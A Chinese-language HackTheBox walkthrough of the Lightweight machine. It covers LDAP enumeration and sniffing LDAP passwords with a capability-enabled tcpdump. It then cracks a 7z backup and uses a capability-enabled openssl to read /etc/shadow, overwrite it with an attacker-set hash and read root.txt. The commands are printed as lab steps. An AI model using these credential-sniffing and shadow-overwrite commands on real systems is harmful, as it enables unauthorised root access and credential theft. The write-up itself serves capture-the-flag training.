HackTheBox-Linux-Lightweight

admin 2022年3月31日08:20:16评论45 views字数 2179阅读7分15秒阅读模式

一个每日分享渗透小技巧的公众号HackTheBox-Linux-Lightweight



大家好,这里是 大余安全 的第 145 篇文章,本公众号会每日分享攻防渗透技术给大家。





靶机地址:https://www.hackthebox.eu/home/machines/profile/166

靶机难度:中级(4.7/10)

靶机发布日期:2019年4月27日

靶机描述:

Lightweight is a pretty unique and challenging box which showcases the common mistakes made by system administrators and the need for encryption in any kind protocol used. It deals with the abuse of Linux capabilities which can be harmful in bad hands and how unencrypted protocols like LDAP can be sniffed to gain information and credentials.


请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

HackTheBox-Linux-Lightweight






一、信息收集



HackTheBox-Linux-Lightweight

可以看到靶机的IP是10.10.10.119...

HackTheBox-Linux-Lightweight

发现开放了ssh和apache服务,还开放了ldap服务...

这里对ldap进行了ldapsearch 工具枚举...发现了两个用户名ldapuser1和ldapuser2...还存在passwd的hash值,但是都无法破解...跳过了...

HackTheBox-Linux-Lightweight

登陆web页面...

HackTheBox-Linux-Lightweight

检查info发现,在80端口上有一个防止暴力破解的网站,因此不能使用gobuster或dirbuster之类的工具进行爆破...

HackTheBox-Linux-Lightweight

这里提示说:该服务器让我可以使用ssh进行访问,ID是我的IP地址...登陆试试

HackTheBox-Linux-Lightweight

利用IP为ID成功登陆...

检查了整个文件系统中是否有运行功能增强的文件...发现tcpdump具有cap_net_admin,cap_net_raw+ep功能...

此tcpdump设置了一些上限,允许普通用户捕获任何接口上的流量...

HackTheBox-Linux-Lightweight

tcpdump -i lo port 389 -w capture.cap -vscp 10.10.14.51@10.10.10.119:/home/10.10.14.51/capture.cap capture.capwireshark capture.cap

通过tcpdump抓取了流量包,利用scp传输.pcap文件到本地....

HackTheBox-Linux-Lightweight

通过流量内容,获得了密码...

HackTheBox-Linux-Lightweight

提权到ldapuser2用户,获得了user_flag信息...

HackTheBox-Linux-Lightweight

枚举发现本地存在root权限执行的back.7z压缩文件....尝试解压需要密码...

传输到本地..

HackTheBox-Linux-Lightweight

https://www.lostmypass.com/破解即可...

这里还有很多方法破解,但是都没这里快...

我随意说两个把,例如利用kali本地的/usr/share/john/7z2john.pl转换下.7z的hash值,然后利用john进行爆破即可...

github上存在python_7z的脚本可以爆破密码...等等

HackTheBox-Linux-Lightweight

通过破解的密码,成功解压...

HackTheBox-Linux-Lightweight

枚举解压后的文件,在status.php发现ldapuser1的密码...

HackTheBox-Linux-Lightweight

su登陆后,还是按照先前的思路,查找到了openssl也具有root执行读取写入的权限...

HackTheBox-Linux-Lightweight

./openssl enc -base64 -in /etc/shadow -out ./passwd.b64base64 -d passwd.b64 > passwd

这台靶机和前一台靶机类似了,前一台Teacher靶机也是backup.sh具有读取和写入的root权限...

操作就好...我这里提权了...

直接将类似linux中passwd的用户密码文本复制到ssh的ldapuser1用户权限环境中..

然后查看...

HackTheBox-Linux-Lightweight

在创建dayu密码的hash...

HackTheBox-Linux-Lightweight

然后修改复制的passwd文本...

HackTheBox-Linux-Lightweight

./openssl enc -in passwd -out /etc/shadow./openssl enc -base64 -in /root/root.txt | base64 -d 



在将passwd复制回root用户环境中进行覆盖...利用创建的密码su root成功登陆...获得了user_flag信息...


这里和上一篇也一样,直接通过openssl直接获得了flag....

这篇靶机不难,枚举也很简答, 没隐藏很多...学到了爆破7z的不同方法...加油

由于我们已经成功得到root权限查看user和root.txt,因此完成这台中级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。


如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

HackTheBox-Linux-Lightweight



如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~

HackTheBox-Linux-Lightweight
HackTheBox-Linux-Lightweight


HackTheBox-Linux-Lightweight


随缘收徒中~~随缘收徒中~~随缘收徒中~~


欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!

HackTheBox-Linux-Lightweight

大余安全

一个全栈渗透小技巧的公众号

HackTheBox-Linux-Lightweight


本文始发于微信公众号(大余安全):HackTheBox-Linux-Lightweight

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月31日08:20:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackTheBox-Linux-Lightweighthttps://cn-sec.com/archives/532123.html

发表评论

匿名网友 填写信息